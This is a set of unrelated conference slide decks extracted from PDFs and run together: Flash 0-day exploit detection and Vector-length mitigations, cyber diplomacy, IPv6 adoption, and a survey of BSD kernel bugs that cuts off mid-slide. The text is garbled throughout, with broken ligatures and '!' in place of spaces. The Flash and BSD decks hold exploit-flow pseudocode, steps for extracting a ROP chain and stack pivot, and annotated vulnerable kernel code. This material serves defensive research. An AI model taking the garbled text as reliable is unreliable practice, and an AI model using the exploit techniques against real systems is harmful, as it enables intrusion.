This  is  good,  but  FA  is  sGll  high for  this  special  problem,  for  example  old  samples  will  trigger vector  heap  spray  also.  And  0-­‐day  may  no  need  heap spray(CVE-­‐2015-­‐5119)  3.  Match  ROP  and  Shellcode  execuGon  stage?  It  is  like  EMET. But  EMET  is  hard  to  automaGon,  can’t  record  the  file  name,  0-­‐ day  may  bypass  EMET.  And  implement  your  EMET  with  a  logger is  big  effort. Key  Point •  In  2014  and  2015,  Flash  Exploits  are  all  use  corrupt Vector  to  achieve  arbitrary  read  and  write  memory. •  By  achieved  arbitrary  read  and  write,  exploits  can bypass  DEP,  ALSR,  CFG  and  even  EMET. •  The  corrupt  Vector  need  huge  length  for  reading  and wriGng  big  memory  address  space  of  the  process. •  May  be  I  can  match  this  generic  point. Key  Point •  Simplified  Exploit  Flow VectorAllocate(); findCorruptVector(); execRopAndShellCode(); buildRopAndShellCode(); triggerVulnerability(); VectorSpray(); Key  Point •  Ideally vectorAllocate(); findCorruptVector(); execRopAndShellCode(); buildRopAndShellCode (); triggerVulnerability(); CheckVectorLen(); LogAndStopExploit(); How  to  implement? •  Because  before  AS3  methods  been  called,  it will  be  JITed,  So  I  hook  the  JIT  flow  of  AVM2 •  When  hit  the  hook  point,  I  can  check  the  AS3 Vector  status  change  between  previous  hit and  this  hit. •  So,  this  is  likely  check  whether  previous  AS3 method  has  corrupt  an  AS3  Vector How  to  implement  it? •  Background  knowledge  >  AVM2  will  JIT  AS3  methods  for  performance.  >  AVM2’s  verifier  will  check  security  when  doing  JIT  >  Aoer  JIT,  the  emi4ed  machine  code  address  will  be  saved  in a  struct  named  MethodInfo.  >  MethodInfo  also  saves  a  method  id,  uses  method  id  we  can get  AS3  method  name. How  to  implement  it? •  Key  funcGon  >  In  AVM2(h4ps://github.com/adobe-­‐flash/avmplus), BaseExecMgr::verifyJit  is  the  funcGon  to  verify  and  emit  code. How  to  implement  it? •  Aoer  hooked  the  JIT  flow,  we  have  chance  to check  the  vector  status  in  our  JIT_HOOK funcGon •  This  means  we  can  check  vector  has  been corrupted  or  not  aoer  previous  AS3  methods has  been  executed. How  to  implement? •  So,  PracGcally JIT_HOOK(); CheckVectorLen(); vectorAllocate(); findCorruptVector(); execRopAndShellCode(); buildRopAndShellCode (); triggerVulnerability(); How  to  check  vector  length? •  Hook  Vector  CreaGng  1.  Flash  Player  has  4  types  AS3  Vector  object.  2.  Vector.<int>,  Vector.<uint>,  Vector.<Number>  and Vector.<Object>.  3.  I  hook  Vector.<int>  and  Vector.<uint>  object  create funcGon.  4.  In  AVMplus  source  code,  we  can  see  the  create  funcGon  is a  template  funcGon.  Means  that  there  are  4  instances  in  flash binary. How  to  check  vector  length? •  Check  Vector  length  >  When  there  is  a  vector  object  created,  I  will  save  the  vector object  address.  >  vector_obj_addr  +  0x18  is  the  data  list  which  save  vector data.  >  First  4  bytes  of  data  list  is  the  vector  length.  >  So,  poi(poi(vector_obj_addr  +  0x18)  )  is  vector  length How  to  implement? •  So,  PracGcally JIT_HOOK(); CheckVectorLen(); vectorAllocate(); findCorruptVector(); execRopAndShellCode(); buildRopAndShellCode (); triggerVulnerability(); SaveVectorObj(); Hook  Version •  Hook  Version  >  Some  sample  check  Flash  Player  version,  if  version is  too  high  or  too  low,  it  will  terminate  execuGon.  >  So  I  change  Flash  Player  version  string  in  memory  >  For  example,  change  WIN  18,0,0,160  to  WIN 16,0,0,160  >  Just  search  WIN  x,0,0,x  in  OCX  image  memory How  to  Hook  Flash  OCX  load? •  Need  to  hook  Flash  OCX  when  it  being  loaded first  Gme. •  Like  Windbg’s  module  load  event •  Flash  OCX  in  IE  is  a  COM  component. •  Hook  COM  component  create  in  IE,  check CLSID  of  Flash  OCX How  to  Hook  Flash  OCX  load? •  Hook  CoGetClassObject  funcGon  in  urlmon.dll •  IAT  hook •  In  Hook_CoGetClassObject  funcGon,  use IsEqualCLSID(rclsid,  CLSID_Flash)  to  idenGfy Flash  component  is  being  loaded. •  Find  Flash  OCX  module  base  address  and module  size,  search  binary  sequence  to  hook JIT,  hook  vector  create,  hook  version OK,  Just  Run  it • DEMO • CVE-­‐2015-­‐5119 Manual  Check •  FED  finally  gives  me  li4le  samples  for  manual checking. •  I  need  to  debug  this  samples  to  confirm  it  is  an 0-­‐day  or  for  geung  root  cause  of  the  0-­‐day. Debugging  Hard  Point •  No  symbol  of  Flash  Player. •  All  AS3  methods  are  JITed.  Address  is dynamic. •  Flash  player  has  script  execuGon  Gme  out. DbgFlashVul •  So  I  wrote  a  tool  to  help  debug. •  A  windbg  extension  named  DbgFlashVul wri4en  in  C++. •  It  can  trace  AS3  method. •  It  can  set  break  point  based  on  AS3  method name. DbgFlashVul •  !help DbgFlashVul •  !  EnableTraceJit  1 DbgFlashVul •  !SetBpForJitCode A  real  example  :  CVE-­‐2015-­‐3090 •  Used  by  most  exploit  kits. •  Vulnerability  can  be  simplified  like  this:  private  var  myShaderjob:ShaderJob  =  null;  this.myShaderjob  =  new  ShaderJob(this.myShader);  ….  this.myShaderjob.width  =  0;  this.myShaderjob.start();  this.myShaderjob.width  =  606; •  When  changing  ShaderJob  width  asynchronously, it  will  cause  memory  overwrite. A  real  example  :  CVE-­‐2015-­‐3090 •  The  exploit  flow  can  be  simplified  like  this: prepareshaderjob(); prepareVector();  //  vector  spray a4acking();  //  trigger  vulnerability  to  overwrite  vector  length if  (  !findCorruptVector()  )  {  return  (false); }; buildRopAndShellcode() exec(); A  real  example  :  CVE-­‐2015-­‐3090 •  For  example,  we  want  to  get  the  ROP  gagdets and  shellcode  used  by  this  exploit. •  Uses  DbgFlashVul  can  easily  do  this. A  real  example  :  CVE-­‐2015-­‐3090 •  Almost  every  flash  exploit  using  corrupt  vector will  have  two  AS3  funcGons,  like read_memory  and  write_memory. •  The  two  funcGon  use  corrupt  vector  to  read and  write  arbitrary  memory. •  So,  we  can  use  DbgFlashVul  to  break  the execuGon  on  write_memory.  Exploit  uses  this funcGon  to  construct  ROP  chain  and shellcode. A  real  example  :  CVE-­‐2015-­‐3090 •  Steps:  >  Set  break  point  at  write_memory  >  Aoer  break,  get  the  address  of  “corruptVector[index]  =  value”,  the assembly  is  like  “mov  dword  ptr  [edx+eax*4+8],  ecx”  >  Set  break  point  on  the  address.  >  When  break,  every  ecx  is  a  part  of  ROP  chain  and  shellcode A  real  example  :  CVE-­‐2015-­‐3090 0:008>  !SetBaseAddress  038f0000 0:008>  !SetBpForJitCode  test/write_memory 0:008>  g BreakPoint  at  [test/write_memory] eax=05072424  ebx=05039100  ecx=020bf4b0  edx=00000002  esi=05023b08  edi=05023b08 eip=05072424  esp=020bf464  ebp=020bf480  iopl=0  nv  up  ei  pl  nz  na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00040206 <Unloaded_oy.dll>+0x5072423: 05072424  55  push  ebp 0:008>  p …… 0:008>  p eax=00089352  ebx=05039100  ecx=03bcbeb6  edx=0510e2c0  esi=05023b08  edi=05023b08 eip=05072553  esp=020bf428  ebp=020bf460  iopl=0  nv  up  ei  ng  nz  na  po  cy cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00040283 <Unloaded_oy.dll>+0x5072552: 05072553  894c8208  mov  dword  ptr  [edx+eax*4+8],ecx  ds:0023:05333010=00000000 0:008>  bu  05072553 0:008>  g Breakpoint  4  hit eax=0008937b  ebx=05039100  ecx=03b66ea0  edx=0510e2c0  esi=05023a78  edi=04a6a020 eip=05072553  esp=020bf548  ebp=020bf580  iopl=0  nv  up  ei  ng  nz  na  pe  cy cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00040287 <Unloaded_oy.dll>+0x5072552: 05072553  894c8208  mov  dword  ptr  [edx+eax*4+8],ecx  ds:0023:053330b4=00000000 0:008>  u  ecx Flash32_17_0_0_134!DllUnregisterServer+0x92fe4: 03b66ea0  94  xchg  eax,esp  //  stack  pivot 03b66ea1  c3  ret How  to  implement  it? •  Get  MethodInfo::  getMethodName  address  by binary  searching •  Hook  BaseExecMgr::verifyJit  like  FED •  In  Hook  funcGon:  >  Get  emi4ed  code  address  and  MethodInfo  object  >  Call  MethodInfo::  getMethodName  with  MethodInfo object(ecx)  >  Get  AS3  method  name  from  eax  >  Save  AS3  method  name  and  code  address How  to  implement  it? void  BaseExecMgr::verifyJit  (…)  { … … jump  hook_funck … … } void  hook_func  (…)  {  name  =  method_info-­‐>getMethodName  ();  address  =  code_address;  Map[name]  =  address  ;  jump  verifyJit } DbgFlashVul  can  do  other  things •  Help  to  write  flash  player  exploit •  Help  to  verify  template  SWF  is  correct  or  not when  do  fuzzing •  Help  to  dump  embedded  SWF  by  seung  break point  at  LoadBytes  …… Agenda •  Who  am  I •  Background •  Discover  flash  0-­‐day  a4acks  from  big  set samples •  Vector  Length  miGgaGon Vector  exploit  miGgaGon Vector  exploit  miGgaGon •  Vector  length  check  >  add  a  length  XOR  cookie  in  vector  buffer  object  |  length  |  cookie  |  gc  relate  |  data  |  >  compare  when  using  length,  (length  ^  seed)  ==  cookie Vector  exploit  miGgaGon •  Vector  length  check  bypass  >  need  a  strong  info  leak  bug  to  read  both  length  and  cookie to  calculate  the  seed  >  seed  =  (length  ^  cookie) Vector  exploit  miGgaGon •  Vector  buffer  object  isolated  >  allocate  vector  object  in  system  heap  not  in  flash  gc  heap  >  makes  vector  buffer  memory  hard  to  occupy  the  freed memory,  miGgate  the  exploit  of  UAF  bugs  >  makes  heap  buffer  overflow  bugs  hard  to  overwrite  vector buffer  object. Vector  exploit  miGgaGon •  Vector  buffer  object  isolated  bypass  >  need  to  heap  spray  many  vector  objects  to  some  address  >  need  a  overwrite  bug  to  overwrite  a  heap  sprayed  address Conclusion •  The  miGgaGon  makes  vector  length  based exploit  hard. •  This  miGgaGon  doesn’t  decrease  the  number of  vulnerabiliGes  of  Flash  Player. •  The  miGgaGon  can  bypass  but  need  more good  bugs •  Some  one  may  find  replacement  for  vector Reference •  “Smashing  The  Heap  With  Vector,”  Haifei  Li •  “Inside  AVM,”  Haifei  Li •  Google  Project  zero, h4p://googleprojectzero.blogspot.tw/ 2015/07/significant-­‐flash-­‐exploit-­‐ miGgaGons_16.html Special  Thanks  To •  @LambdaTea  >  Implemented  FED  together  with  me Thank  you!
pdf
WHEN THE SECRETARY OF STATE SAYS: “PLEASE STOP HACKING US…” David An Former U.S. Diplomat Bureau of Political-Military Affairs U.S. State Department Figures: Left, historical photo of 1973 Paris Peace Accords to restore peace following the Vietnam (American) War. Right, Reuters, May 2015, Iran negotiates with the five members of UN Security Council plus Germany. David T. An 2 Real-Time Cyber Attack Map David T. An 3 Figure: Live attack map sample from September 8, 2014. Norse Corporation. See the current live cyber attack map on your smart phone or computer: http://map.norsecorp.com/ DDoS shuts down Facebook David T. An 4 Figure: On June 19, 2014, a massive distributed denial of service (DDoS) attack appears to originate from China and shut down Facebook that afternoon for half an hour. Youtube. United Nations General Assembly David T. An 5 U.S.-China Strategic and Economic Dialogue David T. An 6 Australia-U.S. Ministerial Meeting David T. An 7 Cyber diplomacy Key points: Insight on senior bilateral dialogues Attribution problem Disclosure dilemma Recommendations for white hat hackers, private companies, and the U.S. government David T. An 8 Cyber weapons and cyber espionage Politics Economics Military David T. An 9 Types of dialogues Senior level discussions Subject matter expert talks Intelligence-policy hybrid talks David T. An 10 Cyber as topic in diplomacy How does cyber security become a topic? News Intelligence sources White House, Pentagon, State leads Stakeholder office edits and clears Desk officer Precedence David T. An 11 Roadblocks in senior dialogues Attribution problem Disclosure dilemma David T. An 12 Figure: U.S. hit by 5840 attacks within a 45 minute span around June 2014. The “5 Ws” plus “how” Political science and area studies Technical skills David T. An 13 State versus non-state actors State actor targets state actor: Allegedly Stuxnet State targets non-state actor: Sony hack due to “The Interview” movie Non-state actor targets state actor: Non-state actor targets non- state actor: Target, Home Depot hacks David T. An 14 Classic scenario The Secretary of State says to his or her foreign minister counterpart: “Please stop hacking us…” David T. An 15 How we can do better Problems with private companies disclosing hacks. Governments and the attribution problem, and the government-to-government disclosure dilemma. Governments and norms David T. An 16 Thinking like a cyber diplomat Senior bilateral dialogues Attribution problem Disclosure dilemma Recommendations David T. An 17 David An [email protected] David T. An 18 Appendix: Source: Softpedia.com David T. An 19
pdf
IPv6: No Longer Optional John Curran ARIN President & CEO Quick History of the Internet Protocol 2 •  Internet Protocol version 4 (IPv4, or just “IP”) –  First developed for the original Internet (ARPANET) in spring 1978 –  Deployed globally with growth of the Internet –  Total of 4 billion IP addresses available –  Well entrenched and used by every ISP and hosting company to connect customers to the Internet –  Allocated based on documented need •  Internet Protocol version 6 (IPv6) –  Design started in 1993 when IETF forecasts showed IPv4 depletion between 2010 and 2017 –  Completed, tested, and available for production since 1999 –  Total of 340,282,366,920,938,463,463,374,607,431,768,211,456 IP addresses available –  Used and managed similar to IPv4 About IPv4 and IPv6 IP version IPv4 IPv6 Deployed 1981 1999 Address Size 32-bit number 128-bit number Address Format Dotted Decimal Notation: 192.0.2.76 Hexadecimal Notation: 2001:0DB8:0234:AB00: 0123:4567:8901:ABCD Number of Addresses 232 = 4,294,967,296 2128 = 340,282,366,920,938,463, 463,374,607,431,768,211,456 Examples of Prefix Notation 192.0.2.0/24 10/8 (a “/8” block = 1/256th of total IPv4 address space = 224 = 16,777,216 addresses) 2001:0DB8:0234::/48 2600:0000::/12 3 IPv4 Address Space Utilization *as of 2 June 2010 4 Available IPv4 Space in /8s 5 In 2010, RIRs have been allocated ten /8s blocks as of 2 June, leaving sixteen /8s unallocated (16/256 = 6.25%) IPv4 Demand – RIR Allocations 6 In 2010, RIRs have been allocated ten/8s blocks as of 2 June. IPv4 Depletion Situation Report •  The RIRs have needed between 8 and 12 /8s each year worldwide. •  There are 16 /8s remaining in the available pool as of 2 June 2010. •  Demand for IPv4 continues to grow from organizations around the world. 7 IPv4 & IPv6 - The Bottom Line •  We’re running out of IPv4 address space. •  IPv6 must be adopted for continued Internet growth. •  IPv6 is not backwards compatible with IPv4. •  We must maintain IPv4 and IPv6 simultaneously for many years. •  IPv6 deployment has begun. 8 RIRs have been allocating IPv6 address space since 1999. Thousands of organizations have received an IPv6 allocation to date. ARIN has IPv6 distribution policies for service providers, community networks, and end-user organizations. 9 IPv6 Deployment has begun Today, the Internet is predominantly based on IPv4. For the foreseeable future, the Internet must run both IP versions (IPv4 & IPv6) at the same time. (When done on a single device, this is called the “dual-stack” approach.) Deployment is already underway: Today, there are organizations attempting to reach your mail, web, and application servers via IPv6... 10 Action Plans What does this mean for: •  Broadband Access Providers? •  Internet Service Providers? •  Internet Content Providers? •  Enterprise Customers? •  Equipment Vendors? •  Government Organizations? 11 Call to Action Broadband Access Providers Your customers want access to the entire Internet, and this means IPv4 and IPv6 websites. Offering full access will require running IPv4/IPv6 transition services and is a significant engineering project. Multiple transition technologies are available, and each provider needs to make its own architectural decisions. 12 Call to Action Internet Service Providers Plan out how to connect businesses via IPv6- only and IPv4/IPv6 in addition to IPv4-only. Businesses are beginning to ask for IPv6 over their existing Internet connections and for their co-located servers. Communicate with your peers and vendors about IPv6, and confirm their timelines for production IPv6 services. 13 Call to Action Internet Content Providers Content must be reachable to newer Internet customers connected via IPv6. Access to your IPv4 only content will be dependent upon translation solutions run by the access providers. Plan on serving content via IPv6 in addition to IPv4 as soon as possible. 14 Call to Action Enterprise Customers Mail, web, and application servers must be reachable via IPv6 in addition to IPv4. Open a dialogue with your Internet Service Provider about providing IPv6 services. Each organization must decide on timelines, and investment level will vary. 15 Call to Action Equipment Vendors There was probably limited demand for IPv6 in the past. Demand for IPv6 support will become mandatory very, very quickly. Introduce IPv6 support into your product cycle as soon as possible. 16 Awareness Coordinate with industry Adopt incentives •  Regulatory •  Economic Support and promote awareness and educational activities Require IPv6-compatibility in procurement procedures Officially adopt IPv6 17 Call to Action Government Organizations IPv6 Adoption Needs IPv6 address space IPv6 connectivity (native or tunneled) Operating systems, software, and network management tool upgrades Router, firewall, and other hardware upgrades IT staff and customer service training 18 Resources •  Information Page at www.arin.net/knowledge/v4-v6.html – Social Media at ARIN www.TeamARIN.net – IPv6 Wiki – Community Use Slide Deck – ARIN Board Resolution – Letter to CEOs 19 Learn More and Get Involved Learn more about IPv6 www.arin.net www.getipv6.info www.TeamARIN.net Get Involved in ARIN Public Policy Mailing List Attend a Meeting http://www.arin.net/participate/ 20 •  Attend ARIN XXVI in Atlanta, Georgia! –  Free meeting registration –  Round-trip economy class airfare to the meeting, booked directly by ARIN –  Hotel accommodations at the venue hotel, booked directly by ARIN –  A small stipend to cover meals and incidental travel expenses. •  https://www.arin.net/participate/ meetings/fellowship.html 21 Visit Us in the Exhibit Hall! • Booth 513 • Educational Materials • Swag 22 Thank You 23
pdf
Are all BSDs created equally? A survey of BSD kernel vulnerabili9es.; ! ! ! Ilja!van!Sprundel!<[email protected]>! Who Am I; •  Ilja!van!Sprundel!! •  [email protected]! •  Director!of!Penetra4on!Tes4ng!at!IOAc4ve!! •  Pen!test! •  Code!review! •  Break!stuff!for!fun!and!profit!J!! Outline/Agenda ; •  Intro! •  Data!! •  vulnerabili4es!over!the!years! •  Test!by!audit! •  Common!aJack!surface!! •  Somewhat!less!common!aJack!surface!! •  Some!results!/!conclusions!! What is this talk about? ; •  BSD!kernel!vulnerabili4es!! •  Comparison!! •  Between!different!BSD!flavors!! •  Audience!! •  Low!level!security!enthusiasts!! •  UNIX/BSD!geeks!! •  I!suspect!Linux!folks!might!enjoy!this!too!! •  Curious!people!that!like!to!poke!around!in!OS!internals! •  Knowledge!! •  Some!basic!knowledge!of!UNIX!/!BSD!internals!!! Standing on the shoulders of giants; •  Previous!interes4ng!BSD!kernel!security! research!by:!! •  Silvio!! •  the!noir! •  Esa!Etelavuori! •  Patroklos!(argp)!Argyroudis! •  Christer!Oberg!! •  Joel!Erikkson!! •  Clement!Lecigne! intro; Really? Got Data?; •  Somehow!that!statement!has!always! been!stuck!in!my!head!! •  Is!it!true?!! •  Can!we!look!at!some!data!?!! Source: hFps://www.cvedetails.com/product/47/Linux-Linux-Kernel.html; Data! ; •  Goes!from!current!back!to!1999!for!Linux!kernel!vulnerabili4es!! •  Cvedetails.com!doesn’t!seem!to!provide!data!for!OBSD/NBSD/FBSD!! •  Manually!grab!it!from!! •  hJps://www.freebsd.org/security/advisories.html! •  hJp://netbsd.org/support/security/advisory.html! •  hJps://www.openbsd.org/errata*.html! BSD kernel vulnerabili9es over the years ; •  Looking!at!these!numbers,!that!was!an!astute! observa4on!by!Theo.!! •  20!was!a!very!low!es4mate!! •  But!are!these!numbers!on!equal!foo4ng?!! •  Many!eyeballs?!! •  Yea,!yea,!I!know!….!But!is!there!some!truth!to!it!in!this! case?!!! FreeBSD! NetBSD! OpenBSD! 1999! 3! 8!XXXTODO! 2000! 8! 4!XXXTODO! 2001! 6! 7!XXXTODO! 2002! 11! 6!XXXTODO! 2003! 7! 3!XXXTODO! 2004! 8! 5!XXXTODO! 2005! 11! 8!XXXTODO! 2006! 9! 15!XXXTODO! 2007! 1! 4!XXXTODO! 2008! 8! 6!XXXTODO! 2009! 5! 1!XXXTODO! 2010! 3! 6!XXXTODO! 2011! 1! 2!XXXTODO! 2012! 2! 1!XXXTODO! 2013! 8! 8!XXXTODO! 2014! 7! 6!XXXTODO! 2015! 7! 2!XXXTODO! 2016! 12! 1!XXXTODO! 2017! 1! 3!XXXTODO! Total! 118! 96!XXXTODO! Test by audit!; •  Silvio!Cesare!did!some!interes4ng!work!in!~2002!that!gives! some!answers!!! •  hJps://www.blackhat.com/presenta4ons/bh-usa-03/bh- us-03-cesare.pdf!! •  His!results!seem!to!indicate!there!isn’t!really!that!much!of!a! quality!difference.!However:!! •  that!was!well!over!a!decade!ago.!! •  Have!things!changed?!! •  Time!spend!on!the!BSDs!was!only!a!couple!of!days!compared!to!Linux! •  If!more!4me!would’ve!been!spend,!would!more!bugs!have!been!found?!! •  bugs!are!mostly!int!overflows!and!info!leaks!! •  Other!kinds!of!issues!that!can!‘easily’!be!found!?!! Test by Audit redux.; •  Spend!April-May-June!audi4ng!BSD!source!code.! •  Asked!myself,!“where!would!the!bugs!be?”!! •  AJack!surface! •  Very!common! •  Syscalls!! •  TCP/IP!stack!! •  Somewhat!less!common!(in!ascending!order,!more!or!less)! •  Drivers!(ioctl!interface)! •  compat!code!! •  Trap!handlers!! •  Filesystems!!! •  Other!networking!(BT,!wifi,!IrDA)! ! Syscalls; AFack surface entrypoint; •  The!obvious!aJack!surface!! •  Syscalls!are!how!userland!gets!anything!done!from!kernel!! •  Hundreds!of!them!! •  FreeBSD:!~550!! •  OpenBSD:!~330!! •  NetBSD:!~480! •  Assump4on:!given!that!they’re!obvious,!and!well!tested,!less!likely!to!contain! security!bugs!! int! sys_sendsyslog(struct!proc!*p,!void!*v,!register_t!*retval)! {! !struct!sys_sendsyslog_args!/*!{! ! !syscallarg(const!void!*)!buf;! ! !syscallarg(size_t)!nbyte;! ! !syscallarg(int)!flags;! !}!*/!*uap!=!v;! !int!error;! !sta4c!int!dropped_count,!orig_error;! ...! !error!=!dosendsyslog(p,!SCARG(uap,!buf),! SCARG(uap,!nbyte),! !!!!!SCARG(uap,!flags),!UIO_USERSPACE);! ...! !return!(error);! }! int! dosendsyslog(struct!proc!*p,!const!char!*buf,!size_t!nbyte,!int!flags,! !!!!enum!uio_seg!sflg)! {! ...! !struct!iovec!aiov;! !struct!uio!auio;! !size_t!i,!len;! ...! !aiov.iov_base!=!(char!*)buf;! !aiov.iov_len!=!nbyte;!ß!user!controlled!size_t.!never!capped!anywhere!! ...! !auio.uio_resid!=!aiov.iov_len;! ...! !len!=!auio.uio_resid;!ß!user!controlled!size_t! !if!(fp)!{! ...! !}!else!if!(consJy!||!cn_devvp)!{! ...! !}!else!{! ...! ! ! !kbuf!=!malloc(len,!M_TEMP,!M_WAITOK);!!! ...! !}! ...! }! Sample bug ; •  sendsyslog!system!call!! •  OpenBSD!6.1! •  Been!there!since!OpenBSD!6.0! •  Unbound!length!passed!to!malloc()!from!userland!! •  Will!trigger!a!kernel!panic!! •  Previous!assump4on!is!not![en4rely]!true:!bugs!in!syscalls!do!occur!with!some! frequency!! •  Especially!newly!added!syscalls!! TCP/IP stack ; AFack surface entrypoint; •  TCP/IP!stack!! •  Ipv4/6!! •  Udp/tcp/icmp! •  Ipsec!! •  …! •  Obvious!and!well!known!aJack!surface!! •  Has!been!around!forever!! •  Assump4on:!well!tested!and!less!likely!to!find!bugs!there!! struct!secpolicy!*! key_msg2sp(! ! !!!!struct!sadb_x_policy!*xpl0,! ! !!!!size_t!len,! ! !!!!int!*error)! {! ...! !switch!(xpl0->sadb_x_policy_type)!{! ...! ! !case!IPSEC_POLICY_IPSEC:! ! !{! ...! ! ! !tlen!=!PFKEY_EXTLEN(xpl0)!-!sizeof(*xpl0);! ! ! !xisr!=!(struct!sadb_x_ipsecrequest!*)(xpl0!+!1);! ! ! !! ! ! !while!(tlen!>!0)!{!! /*!length!check!*/! if!(xisr->sadb_x_ipsecrequest_len!<!sizeof(*xisr))!{!! !ipseclog((LOG_DEBUG,!"key_msg2sp:!"! !!!"invalid!ipsecrequest!length.\n"));! !key_freesp(newsp,!KEY_SADB_UNLOCKED);! !*error!=!EINVAL;! !return!NULL;! }! length!check!is!incomplete.! sadb_x_ipsecrequest_len!can! be!invalid! if!(xisr->sadb_x_ipsecrequest_len!>!sizeof(*xisr))!{! !struct!sockaddr!*paddr;! ! ! ! ! !! !paddr!=!(struct!sockaddr!*)(xisr!+!1);! ! ! ! ! !! !/*!validity!check!*/! !if!(paddr->sa_len! ! !>!sizeof((*p_isr)->saidx.src))!{!! ! !ipseclog((LOG_DEBUG,!"key_msg2sp:!invalid!request!"! ! !!!"address!length.\n"));! ! !key_freesp(newsp,!KEY_SADB_UNLOCKED);! ! !*error!=!EINVAL;! ! !return!NULL;! ! !}!! length!check!is!incomplete.! sadb_x_ipsecrequest_len!can! be!!invalid! length!check!is!incomplete.!! paddr->sa_len!can!be! invalid! bcopy(paddr,!&(*p_isr)->saidx.src,!!paddr->sa_len);! this!copy!can!out!of!bound! read!on!paddr.!Assume! malicious!user!that!controls! heap!chunk!aÇer!paddr.! could!make!it!so!paddr- >sa_len!is!large!and!causes! memory!corrup4on! Sample bug; •  IPSEC!setsockopt()!! •  Out!of!bound!read!! •  Can!end!up!corrup4ng!memory!! •  Affects:!! •  FreeBSD!11! •  NetBSD!7.1! •  Previous!assump4on!is!not![en4rely]!true:!bugs!in!TCP/IP!stack!do!occur!with! some!frequency!! •  newer!code!!! •  mbuf!handling!is!complicated!and!error!prone!! Drivers ; AFack surface entrypoint; •  Lots!and!lots!of!drivers!! •  For!all!sorts!of!things!! •  UNIX:!everything!is!a!file!! •  Most!expose!entrypoints!in!/dev!! •  File!opera4ons!! •  Open!! •  Ioctl!! •  Read! •  Write!! •  Close! •  …! •  Ioctl!is!where!most!of!the!aJack!surface!is!!! int! cryptof_ioctl(struct!file!*fp,!u_long!cmd,!void!*data)! {! ...! !switch!(cmd)!{! ...! ! !mutex_enter(&crypto_mtx);! ! !fcr->m4me!=!fcr->a4me;! ! !mutex_exit(&crypto_mtx);! ! !mkop!=!(struct!crypt_mkop!*)data;! ! !knop!=!kmem_alloc((mkop->count!*!sizeof(struct!crypt_n_kop)),!! ! !!!!!KM_SLEEP);! ! !error!=!copyin(mkop->reqs,!knop,! ! !!!!!(mkop->count!*!sizeof(struct!crypt_n_kop)));! ! !if!(!error)!{! ! ! !error!=!cryptodev_mkey(fcr,!knop,!mkop->count);!! ! ! !if!(!error)! ! ! ! !error!=!copyout(knop,!mkop->reqs,! ! ! ! !!!!!(mkop->count!*!sizeof(struct!crypt_n_kop)));! ! !}! ! !kmem_free(knop,!(mkop->count!*!sizeof(struct!crypt_n_kop)));! ! !break;! ...! }! Integer!overflow! Memory!corrup4on! due!to!int!overflow! Sample bug; •  Crypto!device!CIOCNFKEYM!ioctl!! •  NetBSD!7.1!! •  Been!there!since!NetBSD!4.0.1?!Thu$Apr$10$22:48:42$2008$! •  Classic!integer!overflow!à!memory!corrup4on!! sta4c!int! ksyms_open(struct!cdev!*dev,!int!flags,!int!fmt!__unused,!struct!thread!*td)! {! ...! !struct!ksyms_soÇc!*sc; !! ...! !sc!=!(struct!ksyms_soÇc!*)!malloc(sizeof!(*sc),!M_KSYMS,!! !!!!!M_NOWAIT|M_ZERO);! ...! !sc->sc_proc!=!td->td_proc;! !sc->sc_pmap!=!&td->td_proc->p_vmspace->vm_pmap;!ß!will!be!used!in!d_mmap!callback.!! ...! !error!=!devfs_set_cdevpriv(sc,!ksyms_cdevpriv_dtr);! …! }! sta4c!int! ksyms_mmap(struct!cdev!*dev,!vm_ooffset_t!offset,!vm_paddr_t!*paddr,! ! !int!prot!__unused,!vm_memaJr_t!*memaJr!__unused)! {! !!!! !struct!ksyms_soÇc!*sc;! !int!error;! ! !error!=!devfs_get_cdevpriv((void!**)&sc);! !if!(error)! ! !return!(error);! ! !/*! !!*!XXX!mmap()!will!actually!map!the!symbol!table!into!the!process! !!*!address!space!again.! !!*/! !if!(offset!>!round_page(sc->sc_usize)!||!! !!!!!(*paddr!=!pmap_extract(sc->sc_pmap,!!!ß!can!be!expired!pointer!! !!!!!(vm_offset_t)sc->sc_uaddr!+!offset))!==!0)!! ! !return!(-1);! ! !return!(0);! }! Sample bug 2; •  Ksyms!device!! •  FreeBSD!11! •  Been!there!since!FreeBSD!8.0!Tue$May$26$21:39:09$2009! •  Expired!pointer!! •  open()!callback!saves!pointer!to!pmap!to!private!fd/device!storage!! •  mmap()!callback!uses!saved!pointer!in!private!fd/device!storage!! •  So!how!is!this!a!problem!?!! •  What!if!we!hand!fd!off!to!another!process!(e.g.!send!over!socket!or!fork/execve)! •  And!then!we!exit! •  If!other!process!now!does!mmap,!it!will!be!using!an!expired!pmap!!!! Compat code ; AFack surface entrypoint; •  The!BSDs!have!binary!compa4bility![compat]!support!for!some!binaries:!! •  Older!versions!of!the!OS!! •  32bit!versions!of!a!program!(on!a!64bit!version!of!the!OS)!! •  Other!opera4ng!system!(e.g.!Linux)!! •  Has!to!emulate!a!bunch!of!stuff!(e.g.!syscalls)!! “The people who rely on the compat layers don't care enough to maintain it. The people who work on the mainline system don't care about the compat layers because they don't use them. The cultures aren't aligned in the same direction. Compat layers rot very quickly.” – Theo De Raadt sta4c!int! 4_bind(file_t!*fp,!int!fd,!struct!svr4_strioctl!*ioc,!struct!lwp!*l)! {! ...! !struct!svr4_strmcmd!bnd;! ...! !if!(ioc->len!>!sizeof(bnd))! ! !return!EINVAL;! ! !if!((error!=!copyin(NETBSD32PTR(ioc->buf),!&bnd,!ioc->len))!!=!0)! ! !return!error;! ...! !switch!(st->s_family)!{! !case!AF_INET:! ...! ! !netaddr_to_sockaddr_in(&sain,!&bnd);! ...! !}! ...! }! #define!SVR4_C_ADDROF(sc)!(const!void!*)!(((const!char!*)!(sc))!+!(sc)->offs)!! ...! sta4c!void!netaddr_to_sockaddr_in! !(struct!sockaddr_in!*sain,!const!struct!svr4_strmcmd!*sc)! {! !const!struct!svr4_netaddr_in!*na;! ! !na!=!SVR4_C_ADDROF(sc);!ß!could!point!to!anywhere!in!memory!! !memset(sain,!0,!sizeof(*sain));! !sain->sin_len!=!sizeof(*sain);! !sain->sin_family!=!na->family;!ß!crash!or!info!leak! !sain->sin_port!=!na->port;!ß!crash!or!info!leak! !sain->sin_addr.s_addr!=!na->addr;!ß!crash!or!info!leak! …! }! /*! !*!Pretend!that!we!have!streams...! !*!Yes,!this!is!gross.! ...! !*/! Sample bug; •  SVR!4!streams!compat!code! •  NetBSD!7.1!! •  Been!there!since!NetBSD!1.2!Thu$Apr$11$12:49:13$1996! •  Uses!offset!that!comes!from!userland!! •  